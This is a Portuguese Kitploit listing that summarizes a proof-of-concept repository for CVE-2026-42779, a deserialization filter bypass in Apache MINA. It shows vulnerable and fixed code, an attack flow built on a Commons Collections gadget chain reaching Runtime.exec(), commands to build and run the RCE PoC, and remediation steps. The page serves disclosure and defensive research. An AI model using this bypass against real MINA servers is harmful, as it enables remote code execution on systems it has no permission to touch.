Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dinosn/cve-2026-42779
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubdinosn/cve-2026-42779

CVE-2026-42779

Prova de conceito demonstrando uma bypass do filtro de desserialização no Apache MINA que leva à execução remota de código, com análise detalhada da causa raiz, PoCs de exploração e orientações de remediação.

Ver Repositório
1122há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42779 — Bypass do Filtro de Desserialização do Apache MINA para RCE

CVSS 3.1: 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-502 Desserialização de Dados Não Confiáveis Reporter: Venkatraman Kumar, Securin Advisory: Lista de Discussão do Apache

Visão Geral

As versões 2.1.0 a 2.1.11 e 2.2.0 a 2.2.6 do Apache MINA contêm um bypass do filtro de desserialização em AbstractIoBuffer.resolveClass(). A lista de permissões acceptMatchers — criada para restringir quais classes Java podem ser desserializadas — é completamente ignorada quando ObjectStreamClass.forClass() retorna null.

Um atacante com acesso de rede a um endpoint MINA que utiliza ObjectSerializationCodecFactory pode criar um payload de protocolo que contorna o filtro de classes, permitindo por meio de cadeias de gadgets de desserialização Java padrão (por exemplo, Commons Collections).

Execução Remota de Código completa

Esta é uma correção incompleta para o CVE-2026-41635. O patch original foi aplicado ao branch 2.0.x, mas nunca foi portado para 2.1.x ou 2.2.x devido a um descuido no merge.

Versões Afetadas

BranchVulnerávelCorrigido
2.1.x2.1.0 – 2.1.112.1.12
2.2.x2.2.0 – 2.2.62.2.7

Causa Raiz

A vulnerabilidade está em AbstractIoBuffer.resolveClass(), que lida com a resolução de classes durante a desserialização de objetos Java.

O MINA usa um protocolo de serialização personalizado com dois tipos de descritores de classe:

  • Tipo 0 — classes não-Serializable, primitivos e arrays (formato padrão de descritor de classe Java)
  • Tipo 1 — classes Serializable (formato compacto de nome de classe)

No código vulnerável, o filtro acceptMatchers é verificado apenas no branch do tipo 1 (quando forClass() retorna não-null). O branch do tipo 0 chama Class.forName() diretamente, contornando o filtro por completo:

root@kitploit:~
// AbstractIoBuffer.java — VULNERÁVEL (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BUG: Nenhuma verificação de acceptMatchers — filtro completamente ignorado
        return Class.forName(name, false, classLoader);
    } else {
        // Filtro aplicado apenas aqui
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

A correção no 2.2.7 move a verificação do filtro antes do branch:

root@kitploit:~
// AbstractIoBuffer.java — CORRIGIDO (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // Filtro aplicado PRIMEIRO, independentemente do resultado de forClass()
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... resolução segura em seguida
}

Exploração

Fluxo do Ataque

root@kitploit:~
Atacante                                    Servidor MINA Vulnerável
   |                                              |
   |  1. Cria payload MINA com descritores        |
   |     tipo-0 para classes da cadeia de gadgets |
   |                                              |
   |  2. Envia para endpoint que usa              |
   |     ObjectSerializationCodecFactory -------->|
   |                                              |
   |          3. readClassDescriptor() lê tipo-0  |
   |             → delega para super (Java padrão)|
   |                                              |
   |          4. resolveClass() vê forClass()==null
   |             → Class.forName() SEM filtro     |
   |                                              |
   |          5. Cadeia de gadgets totalmente      |
   |             desserializada                   |
   |             → readObject() dispara a cadeia  |
   |             → Runtime.exec() é executado     |
   |                                              |
   |                               RCE ALCANÇADO  |

Pré-condições

  1. A aplicação alvo usa IoBuffer.getObject() ou ObjectSerializationCodecFactory
  2. O alvo tem accept() configurado (aplicações sem filtro já eram exploráveis via CVE-2026-41635)
  3. Uma biblioteca de cadeia de gadgets (Commons Collections, Spring, etc.) está no classpath

Insight Principal

O atacante controla o fluxo de bytes serializado. Ao usar descritores de classe tipo-0 (em vez de tipo-1) para classes Serializable da cadeia de gadgets, toda classe no grafo de desserialização contorna o filtro acceptMatchers, independentemente da configuração da lista de permissões da aplicação.

Prova de Conceito

Três PoCs demonstram impacto crescente:

PoCO que prova
FilterBypassPoC.javaBypass do filtro para primitivos, classes não-Serializable, arrays
CraftedBypassPoC.javaPayloads tipo-0 criados pelo atacante contornam o filtro para QUALQUER classe Serializable
RcePoC.javaRCE completo via cadeia de gadgets CC6 através do bypass do filtro

1. Bypass do Filtro (MINA 2.2.6 — Vulnerável)

Classes fora da lista de aceitação são desserializadas sem restrição:

Bypass do filtro no MINA 2.2.6 vulnerável

2. Payload Criado — Carregamento Arbitrário de Classes

Um atacante cria payloads de protocolo MINA com descritores tipo-0 para carregar qualquer classe além de uma lista de aceitação apenas com String:

Bypass com payload criado

3. RCE Completo — Execução de Comandos

A cadeia de gadgets variante CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) alcança execução de comandos através do bypass do filtro:

RCE confirmado no MINA 2.2.6

4. Bypass do Filtro (MINA 2.2.7 — Corrigido)

Os mesmos testes são bloqueados na versão corrigida:

Bypass do filtro bloqueado no MINA 2.2.7

5. RCE Bloqueado (MINA 2.2.7 — Corrigido)

A cadeia de gadgets é rejeitada pelo filtro:

RCE bloqueado no MINA 2.2.7

Início Rápido (Docker)

A forma mais rápida de testar — sem necessidade de JDK ou Maven:

root@kitploit:~
# Clone este repositório
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# Compile e execute todos os PoCs
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# Execute PoCs individuais
docker run --rm cve-2026-42779 bypass     # Apenas bypass do filtro
docker run --rm cve-2026-42779 crafted    # Bypass com payload criado
docker run --rm cve-2026-42779 rce        # RCE completo

# Entre em um shell para explorar
docker run --rm -it cve-2026-42779 shell

A imagem inclui o JAR vulnerável do MINA 2.2.6, Commons Collections 3.2.2 e os três PoCs pré-compilados. Tudo é executado de forma autônoma dentro do contêiner.

Reprodução (a partir do código-fonte)

Se preferir compilar a partir do código-fonte:

root@kitploit:~
# Clone e compile a versão vulnerável
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# Baixe commons-collections (para o PoC de RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# Compile os PoCs
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# Execute o PoC de bypass do filtro
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# Execute o PoC de payload criado
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# Execute o PoC de RCE completo
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

Ou use o Makefile incluído:

root@kitploit:~
make run-all    # Compile e execute os três PoCs
make run-rce    # Apenas o PoC de RCE

Requisitos: JDK 11+ e Maven (para compilação a partir do código-fonte) ou Docker (para contêiner)

Remediação

Atualize para o Apache MINA 2.1.12 ou 2.2.7.

Se a atualização não for imediatamente possível:

  • Não use IoBuffer.getObject() ou ObjectSerializationCodecFactory com entrada não confiável
  • Considere usar um filtro de serialização JEP 290 como camada adicional de defesa

Linha do Tempo

DataEvento
2026-05-01Advisory publicado pelo Apache MINA PMC
2026-05-01Versões corrigidas 2.1.12 e 2.2.7 lançadas
2026-05-02Este PoC desenvolvido e testado

Referências

  • Advisory do Apache MINA
  • Registro CVE
  • Entrada NVD
  • Downloads do Apache MINA

Aviso Legal

Esta prova de conceito é fornecida apenas para pesquisa de segurança defensiva, educação e testes de penetração autorizados. Use com responsabilidade e apenas contra sistemas nos quais você tem permissão para testar.

Baixar ferramenta